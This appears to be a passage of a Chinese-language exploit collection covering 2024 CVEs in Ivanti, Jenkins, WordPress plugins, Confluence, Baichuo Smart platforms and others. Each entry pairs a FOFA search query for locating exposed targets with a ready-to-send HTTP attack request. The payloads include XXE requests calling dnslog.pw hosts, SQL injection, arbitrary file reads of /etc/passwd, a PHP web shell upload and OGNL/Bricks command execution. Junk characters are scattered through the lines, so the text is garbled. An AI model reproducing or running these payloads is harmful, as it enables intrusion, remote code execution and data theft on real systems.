User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
0 Y8 E9 r( T& w/ w( ]$ DConnection: close
Content-Length: 792
Accept-Encoding: gzip
; G7 r3 l* W- d" [5 m! J
$ ]$ j- Z/ k; N2 m/ o0 U<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

$ q. d( N, o0 i; Y+ N103. Ivanti Pulse Connect Secure VPN XXE
. E% E( e, j0 `7 d, t8 MCVE-2024-22024
* x  K8 r" y8 u) r% x! ]# FFOFA：body="welcome.cgi?p=logo"
% ]( p' t7 G5 H8 \0 g+ \+ SPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
: ^5 O- D3 Q" |Host: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
# G, O- C3 f4 L0 bConnection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
# a' q* _2 |7 ]3 n; B# Z6 V4 m" \/ L
* |0 E/ t1 p# ^- v7 K3 D& q/ CSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


3 A1 B) H4 O- C- S& R其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
/ X* z* K6 J9 M! ^0 n<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

2 l' |6 r$ H5 }/ L" n
2 S3 i  `0 k" c' V1 z8 _5 e8 c104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
& [' G5 e" U% PFOFA：title="TOTOLINK"
2 T" q( [2 e- F) P9 `1 TPOST /cgi-bin/cstecgi.cgi HTTP/1.1
4 P) }" h- G" C* y, t2 G0 x  ]Host:192.168.0.1
0 D2 x0 M, q. o9 W- XContent-Length:41
' W, o! ^7 r8 Q' a+ a8 ^Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
5 I3 [9 L* d2 v7 G! v) `: ZContent-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
/ V: n( z( f$ TReferer: http://192.168.0.1/advance/index.html?time=1671152380564
: b, @% k. d# j1 @% y$ z7 l/ sAccept-Encoding:gzip,deflate
4 c' S& G$ U* x/ l1 C4 r4 Y  EAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
! @7 i' `2 N8 eConnection:close

: [' t2 i. S  f$ z/ ?1 o{
"topicurl":"getSysStatusCfg",
* J' o4 {' t  V"token":""
# v1 V+ a# I! I. g- y4 T}
  b6 C$ ?8 A2 o- Q9 Z
' E2 x. P. M- [1 L# L, p105. SpringBlade v3.2.0 export-user SQL 注入
3 o* v* x& G6 J/ @% SFOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

2 f" i  _: W0 A# D- E106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
5 r# _: V! L* L2 g. Z- B, yHost: your-ip
( f( \5 {. O3 @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  p& N/ U* ]' V( N: tBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
0 F- r5 T0 q$ j7 O. Y3 HAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
" A4 v% u& x# e% |! BConnection: close
$ E! D% S* r, S

107. SpringBlade tenant/list SQL 注入
. b+ K6 e, |% c$ S8 z; Z4 O1 QFOFA：body="https://bladex.vip"
- i# P' W! C) r+ ~5 k5 k8 `$ DGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
4 o- }/ ]+ ^5 |4 K% i9 kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close
5 E' m" k/ |, D8 h3 {; Q' @" H

108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
; j; t! X5 K/ A' G* ]+ x9 eGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
7 f5 L$ Q) k7 ?/ P  K4 ?/ W, O& xHost: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
) a$ _- E7 N; UAccept-Encoding: gzip, deflate
1 N, Y% m. H" H9 O/ t9 S- C* h$ {Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
3 }* F2 l* W7 F8 T$ G: I  k6 _
5 K0 r5 x8 l, `+ y! h
109. Jenkins CLI 任意文件读取
- Q6 }! D) S- J# V! lCVE-2024-23897
6 `% K' k  {/ R+ i) k2 k7 zFOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
7 u: n% N0 D4 OHost:
Content-type: application/octet-stream
, Q0 [! B  ?2 l2 K" `Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
& U. D% D4 f% u) [Connection: keep-alive
* ?" e0 f& M9 cContent-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
0 F" E$ c7 \+ p" h, ^, d( n! e

, `4 U' d! \/ [5 I$ t. `0 g1 b7 TPOST /cli?remoting=false HTTP/1.1
Host:
2 w6 s! D. ^9 w. W5 \: cSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
4 r: D2 i, Y2 X7 C7 @0 q. mdownload
Content-Type: application/x-www-form-urlencoded
, h$ o( V. Z  }" X& H/ c) BContent-Length: 0

% A5 J$ Y% M2 Z5 `# |
6 g2 e( c9 Q* w  k4 t/ pERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
7 m, d4 T- `8 `2 S2 R7 u, Sjava -jar jenkins-cli.jar help
7 r' Z" Y! d' l7 k4 N$ x[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
+ n5 R2 j$ T# W/ {) d+ X1 O

110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
: J* W9 d5 U+ D+ \) o8 w5 e; b/ [FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
! N! M0 s& r5 ~, K$ [Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
8 z  ~) E: t4 o/ O7 X

3 c& X7 D% y, X" h/ j+ y111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
+ m" S8 e! [8 Z% e2 W6 y6 |FOFA："wordpress" && body="html5-video-player"
: C6 b; l- A2 I$ zGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
* l" C( Y4 ?0 D" k0 y/ I- n1 a* dHost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
' c) s  c( r. {) K' `Accept-Language: en
Accept-Encoding: gzip
* _1 n  K( |% D6 C

112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
- q( v3 t% [) f9 L/ T: wPOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
" q) x: G) H3 E' J# q/ l

113. WordPress Automatic 插件任意文件下载和SSRF
3 p9 C- L: T* a: H0 WCVE-2024-27954
! F# T- ]( T( k) T# CFOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
: k$ F5 I8 Y* u6 s7 ]Connection: close
. Z4 ?# @  e8 P6 i7 z$ ~Accept: */*
Accept-Language: en
Accept-Encoding: gzip
+ i  s/ U, \8 J

114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
6 h% {$ R& I) uGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
/ g  T* W3 H: A2 D, L1 q" DHost: your-ip
+ e! t, I. A2 d. @, ]1 ?3 \User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
! j% E/ p& ?! Z: a" v

" f- A3 H% r, r  A7 d+ F115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
2 m6 f$ f7 X; z# J/ tGET / HTTP/1.1
9 c. V4 {: y+ R& k# X. P8 R% oHost: x.x.x.x
; u/ Q0 n6 ~% c* t1 k- D6 HUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
) e! R& j; Y, y! M; ~Accept-Encoding: gzip


7 H( W, S) I" f" V9 y3 l  ]3 U第二步替换nonce值，执行命令
! q; K( Y4 F9 v+ j! [* G( C- }POST /wp-json/bricks/v1/render_element HTTP/1.1
+ w! a  R. v& O# w7 ^Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
- E1 M  }/ d, }9 X4 }- Z/ cConnection: close
/ ?9 d& r6 C$ I) gContent-Length: 356
' N- s$ W, A, OContent-Type: application/json
Accept-Encoding: gzip
3 T& H. {9 k- m+ H7 @+ o8 v
{
"postId": "1",
  "nonce": "第一步获得的值",
1 L4 k- J: N, U: U6 E! G  "element": {
- a0 L' t% c' ^    "name": "container",
7 t& u2 \, r8 @! w* ^9 X7 y    "settings": {
      "hasLoop": "true",
      "query": {
, w1 x5 k1 E: T        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
; `( M) @- W; [0 L9 E2 S7 w0 Z3 E9 V        "objectType": "post"
4 O8 f% [8 w/ {* N( C      }
    }
  k: A. O! R4 R1 F% X( R  }
5 u. n" X) a1 Y8 T}

5 Z3 V. r& a7 {5 h- H
9 `' }- C3 z# q; M0 F  a) H8 [& n116. wordpress js-support-ticket文件上传
  A( i( d' d+ d1 LFOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=--------767099171
  Z8 C* I! j/ ?* R& P+ C0 QUser-Agent: Mozilla/5.0

----------767099171
Content-Disposition: form-data; name="action"
configuration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
8 b9 o; b/ ]. k/ S% r# L0 S----------767099171--


) W0 @/ _' N8 X117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
) f5 y6 M% j8 j; I' p* A( f  z$ CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 p1 j9 T5 O; TAccept-Encoding: gzip, deflate, br
Connection: close
; O. E4 l% d" r& l: X* U6 P5 aUpgrade-Insecure-Requests: 1


118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
0 {7 ?, H) T) ^CVE-2024-0939
% M! i" V0 Z$ F/ t5 f# aFOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
9 L6 P) i4 y- `' f7 tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 T( Q8 Q- [, cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
( ]. }9 S7 o  ?6 D" L# `Content-Length: 405
Origin: https://192.168.40.130:8443
7 H+ h& x( |; }% z' a7 N7 e1 C$ c+ UReferer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
8 O5 e) x+ }2 u/ ESec-Fetch-User: ?1
Te: trailers
0 ?! p! z# |! t; y6 D" d8 eConnection: close

1 t. _+ G/ t) {: b8 ?-----------------------------13979701222747646634037182887
* m" `) J* h* V, g) nContent-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
$ M' x4 B7 ~% f, Y8 N7 U
<?php
system($_POST["passwd"]);
?>
; p6 F" b, S. h# D4 q! Y8 Z-----------------------------13979701222747646634037182887
: S# l1 w( z5 W: eContent-Disposition: form-data; name="txt_path"
; H3 D% D3 S( M4 t; }& x
/home/src.php
2 g4 W! [' _8 |/ i5 [9 F- M-----------------------------13979701222747646634037182887--

6 t; \  n) t2 {: `; @& _3 f& D" R
访问/home/src.php
& x# U8 z7 A1 k4 @+ ^: a9 m3 W# V
119. 北京百绰智能S20后台sysmanageajax.php sql注入
0 ^" N6 F3 L+ V+ U! @6 i; [CVE-2024-1254
1 m: A  l* }# j) L7 NFOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
0 R3 l6 d0 V6 j8 UPOST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
$ J" m4 Q  y7 G0 r) J" C! FAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' q; a; K4 U) z! I. A( fAccept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
/ ?* I3 r  q  P( WReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
8 l- Z: R. l: n6 eSec-Fetch-Site: same-origin
6 p* [  k1 J! L$ _# ^! ?X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
$ ~( A" ?1 i4 w* tX-Remote-Addr: 1.1.1.1
+ [; g; y7 e/ H0 f5 u0 j) vTe: trailers
Connection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
; h3 V, X  y* r% x1 g0 x: K/ w3 l& V
/ U* n# f: c9 }+ ~3 q/ E( v
120. 北京百绰智能S40管理平台导入web.php任意文件上传
) _. l7 o, m( O& E' s" TCVE-2024-1253
/ W2 c1 M# f5 F' Z8 k5 @FOFA：title="Smart管理平台"
' T  f. u: Y/ \. gPOST /useratte/web.php? HTTP/1.1
Host: ip:port
% u: `+ p+ u# }9 tCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
  |1 I6 y8 o2 oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ ~% {. c5 M: |4 U) k; ]* m2 GAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 Q! d. x' S" i' c5 Q: E: X2 {Accept-Encoding: gzip, deflate
6 z0 {6 \4 X: Z% x* |5 B* _. g. hContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
' v; x! x6 Z$ x! G; Q" P8 r2 O8 `Content-Length: 597
Origin: https://ip:port
7 c, g* y* g% U& ^% Q. {9 J; |9 z# xReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
, S, @/ J: J: G% KSec-Fetch-Mode: navigate
4 t! b$ l- C9 L! J+ B6 q- FSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
. u7 a- i4 d% O6 [2 Z! UTe: trailers
Connection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
& Y4 D' y4 \. ~( h% `/ r% qContent-Type: application/octet-stream

5 @8 ^$ Q3 A. |+ @<?php phpinfo()?>
* w. O) s) d& T- \/ C2 X, e-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
  f% x2 Z0 y& \6 ?( ~
1
  b+ h6 B5 C2 o9 c/ n9 @-----------------------------42328904123665875270630079328
! j; A. G7 p& H$ [: A. QContent-Disposition: form-data; name="1_ck"
) I1 u/ u" N8 F5 K3 \! ^
  \; J& p2 M* x  X1 H1_radhttp
* H5 [5 O) H5 Y" y) p-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
' K% h2 X6 b- ]" y) W
import
% x& ?) Q; |- r8 M! n1 k. `5 x-----------------------------42328904123665875270630079328


文件路径/upload/2.php
3 i1 r$ ^# o) l" R
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
+ N* l+ P" W5 c- f3 B, g' p& l. xCVE-2024-1918
+ [8 |3 y, k! M# n2 L6 L1 v! A. QFOFA：title="Smart管理平台"
, N5 x% }5 k0 h5 C8 j4 X( GPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
! G* `6 q) f3 \Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! W( U% W* O# ?* \2 g3 I" fAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, }/ j& ~, \( R! D9 u; Z! M3 H3 J" aAccept-Encoding: gzip, deflate
; W1 g0 L; E- L5 i# k) ^Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
) F6 o) F9 J. fSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
7 Z, F$ T4 [+ w% P3 B/ z& [+ o2 q6 GSec-Fetch-Site: same-origin
3 e4 F3 j5 N( N( g, I+ U. OSec-Fetch-User: ?1
Te: trailers
! W9 }  j. f, |) x. G' mConnection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream
$ G, n- ?+ i# y8 \
9 N3 b% u6 |, h  D<?php phpinfo();?>
7 C1 Y& ~/ x, F/ u0 A5 j. F-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

# v" @/ e. B( ]; g1
-----------------------------42328904123665875270630079328
0 B2 P7 }% }( F! E0 p. ]4 F% M1 z9 @( TContent-Disposition: form-data; name="1_ck"
; I" h) A2 n5 S4 a
1_radhttp
5 o0 J7 j5 @) q5 v  |  N: T  X- T/ m-----------------------------42328904123665875270630079328
% L  M3 w( B* T, RContent-Disposition: form-data; name="hidwel"

set
/ Z8 P) I2 R5 o+ ?3 ^; q  P-----------------------------42328904123665875270630079328


boot/web/upload/weblogo/1.php
- |4 a* G. C; W
, l" _7 n: a! R7 N9 Q' B122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
2 c) E+ W$ ~  [其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
; a3 K+ t* j0 a$ p! KHost: x.x.x.x
( [$ ~, A( L- ~8 A! P' QCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
9 ~; I/ g, B% V9 EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
$ E- p1 _  S3 v- tUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
* F& `% {7 Y  C  q. ?# A* q1 nSec-Fetch-Site: none
Sec-Fetch-User: ?1
* r- \' l) J* D1 A0 u# M. G# eTe: trailers
Connection: close


5 [, s. e% U6 C123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
" R0 ]; _- t! D5 S: cHost: localhost:8090
Accept-Encoding: gzip, deflate, br
+ F9 j! [5 E' u- [( D$ \* d: P0 BAccept: */*
: \' t5 T+ g: Z* T0 a" _- B, p! IAccept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
. t* g5 M; N# wConnection: close
1 {4 b) U# i. M* \Content-Type: application/x-www-form-urlencoded
. D' j! `/ r3 i3 u8 _- O- h  p
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
# |  Z; Y+ A+ L7 h

$ p5 R* {% W0 s124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
- ]( ~0 u- f0 K* Q( R* }POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
2 g4 w  \) h$ `% E* gContent-Length: 72
! [3 Y; p) x# \  _- k; g3 x6 ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
4 g9 V" P# Z, N1 @, ]5 z' CAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
5 |# F( w# j: @5 @  MContent-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
: ~8 }3 f3 |8 i  [6 v2 b' t1 f
2 V! A5 x9 T5 q4 i- I! g2 C2 J  J9 C
- x; P& b; q  Phttp://192.168.40.130:8282/Scripts/abcgcg.aspx

125. ConnectWise ScreenConnect身份验证绕过
5 b2 J7 Y  y( K) _CVE-2024-1709
3 t; i! Q& X6 P3 l1 M5 kFOFA：icon_hash="-82958153"
% d' v( @1 P, Z. G* U3 mhttps://github.com/watchtowrlabs ... bypass-add-user-poc

1 i2 @6 W' ~  @. D
5 I% a) m1 P' N9 ~5 H使用方法
1 Y( ~( K5 f4 U  y+ Q' ppython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!


创建好用户后直接登录后台，可以执行系统命令。
! q1 _4 _  w" p9 m# R. E. \
5 v& t/ l2 }( y, Q4 ?# K0 I126. Aiohttp 路径遍历
5 g2 N- e1 _6 t% jFOFA：title=="ComfyUI"
+ V: x8 S% K7 B: ^. P2 z3 GGET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
& J2 V) z& V8 SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
0 J4 [! r$ |! C. \' K7 [Connection: close
Accept: */*
+ y0 o: M+ z4 JAccept-Language: en
2 W5 d* z, n; h; `Accept-Encoding: gzip
' j1 A9 M$ z( a) o. l$ _

0 F3 o2 a. j$ j# C9 e6 Y127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
9 y& Q5 c, u2 Y; [, J2 A8 EHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
/ K) u" K$ P' f9 O- N$ k6 i0 yAccept-Language: zh-CN,zh;q=0.9
% \0 _/ W! \0 v1 z, D3 vConnection: close
0 q6 _& U/ Y5 J6 ZContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender
  ~5 N+ i( ^! v$ J" S: r
